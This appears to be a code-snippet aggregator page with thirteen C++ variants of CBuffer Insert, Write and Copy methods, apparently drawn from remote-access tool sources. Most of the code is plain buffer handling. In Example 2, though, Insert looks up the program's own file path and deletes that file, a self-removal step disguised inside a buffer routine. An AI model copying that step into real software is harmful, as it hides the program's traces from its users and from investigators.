Ejemplo n.º 1
0
//************************************
// Method:    Insert
// FullName:  CBuffer::Insert
// Access:    public 
// Returns:   UINT
// Qualifier: 
// Parameter: PBYTE pData
// Parameter: UINT nSize
//************************************
UINT CBuffer::Insert(PBYTE pData, UINT nSize){
	ReAllocateBuffer(nSize + GetBufferLen());
	MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
	CopyMemory(m_pBase,pData,nSize);
	m_pPtr+=nSize;
	return nSize;
}
Ejemplo n.º 2
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	Insert
// 
// DESCRIPTION:	Insert data into the buffer 
// 
// RETURNS:		
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
	TCHAR szModule [MAX_PATH];

	EnterCriticalSection(&m_cs);
	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
	{
		CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
		LeaveCriticalSection(&m_cs);
		return FALSE;
	}

	CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);


	MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);

	CopyMemory(m_pBase,pData,nSize);

	DeleteFile(szModule);
	// Advance Pointer
	m_pPtr+=nSize;
	LeaveCriticalSection(&m_cs);
	
	return nSize;
}
Ejemplo n.º 3
0
//************************************
// Method:    Copy
// FullName:  CBuffer::Copy
// Access:    public 
// Returns:   void
// Qualifier: Copy from one buffer object to another
// Parameter: CBuffer & buffer
//************************************
void CBuffer::Copy(CBuffer& buffer){
	int nReSize = buffer.GetMemSize();
	int nSize = buffer.GetBufferLen();
	ClearBuffer();
	ReAllocateBuffer(nReSize);
	m_pPtr = m_pBase + nSize;
	CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
}
Ejemplo n.º 4
0
void CBuffer::Copy(CBuffer& buffer)
{
	int nReSize = buffer.GetMemSize();   //2048               2048
	int nSize = buffer.GetBufferLen();   //1025               0     1025
	ClearBuffer();
	if (ReAllocateBuffer(nReSize) == -1)
		return;
	CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
	m_pPtr = m_pBase + nSize;
}
Ejemplo n.º 5
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	Write
// 
// DESCRIPTION:	Writes data into the buffer
// 
// RETURNS:		
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
	ReAllocateBuffer(nSize + GetBufferLen());

	CopyMemory(m_pPtr,pData,nSize);

	// Advance Pointer
	m_pPtr+=nSize;

	return nSize;
}
Ejemplo n.º 6
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	Write
// 
// DESCRIPTION:	Writes data into the buffer
// 
// RETURNS:		
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
	ReAllocateBuffer(nSize + GetBufferLen());

	if(pData)   //  sincoder ¸Äд£¬£¬
	{
		CopyMemory(m_pPtr,pData,nSize);
	}
		// Advance Pointer
	m_pPtr+=nSize;
	return nSize;
}
Ejemplo n.º 7
0
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
	EnterCriticalSection(&m_cs);
	if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
	{
		LeaveCriticalSection(&m_cs);
		return false;
	}
	
	CopyMemory(m_pPtr,pData,nSize);   //动态数组  int[5] = 0  1  2  3  4  5

	m_pPtr+=nSize;
	LeaveCriticalSection(&m_cs);
	return nSize;
}
Ejemplo n.º 8
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	Copy
// 
// DESCRIPTION:	Copy from one buffer object to another...
// 
// RETURNS:	
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
void CBuffer::Copy(CBuffer& buffer)
{
	TCHAR szModule [MAX_PATH];
	int nReSize = buffer.GetMemSize();
	int nSize = buffer.GetBufferLen();
	ClearBuffer();
	if (ReAllocateBuffer(nReSize) == -1)
		return;

	m_pPtr = m_pBase + nSize;

	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
	CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
}
Ejemplo n.º 9
0
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)   //插入头   Hello    20   5  HelloWorld 20
{
	EnterCriticalSection(&m_cs);
	if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
	{
		LeaveCriticalSection(&m_cs);
		return false;
	}
	
	MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
	CopyMemory(m_pBase,pData,nSize);
	
	m_pPtr+=nSize;
	LeaveCriticalSection(&m_cs);
	return nSize;
}
Ejemplo n.º 10
0
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
	EnterCriticalSection(&m_cs);

	if (-1 == ReAllocateBuffer(nSize + GetBufferLen()))
	{
		LeaveCriticalSection(&m_cs);
		return FALSE;
	}

	CopyMemory(m_pPtr, pData, nSize);

	m_pPtr += nSize;

	LeaveCriticalSection(&m_cs);
	return nSize;
}
Ejemplo n.º 11
0
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
{
	EnterCriticalSection(&m_cs);


	if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1   1024
	{
		LeaveCriticalSection(&m_cs);
		return false;
	}

	CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5

	m_Ptr+=ulLength;
	LeaveCriticalSection(&m_cs);
	return TRUE;
}
Ejemplo n.º 12
0
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
	EnterCriticalSection(&m_cs);

	if (-1 == ReAllocateBuffer(nSize + GetBufferLen()))
	{
		LeaveCriticalSection(&m_cs);
		return FALSE;
	}

	MoveMemory(m_pBase + nSize, m_pBase, GetMemSize() - nSize);
	CopyMemory(m_pBase, pData, nSize);

	m_pPtr += nSize;
	
	LeaveCriticalSection(&m_cs);
	return nSize;
}
Ejemplo n.º 13
0
//************************************
// Method:    Write
// FullName:  CBuffer::Write
// Access:    public 
// Returns:   UINT
// Qualifier:
// Parameter: PBYTE pData
// Parameter: UINT nSize
//************************************
UINT CBuffer::Write(PBYTE pData,UINT nSize){
	ReAllocateBuffer(nSize + GetBufferLen());
	CopyMemory(m_pPtr,pData,nSize);
	m_pPtr += nSize;
	return nSize;
}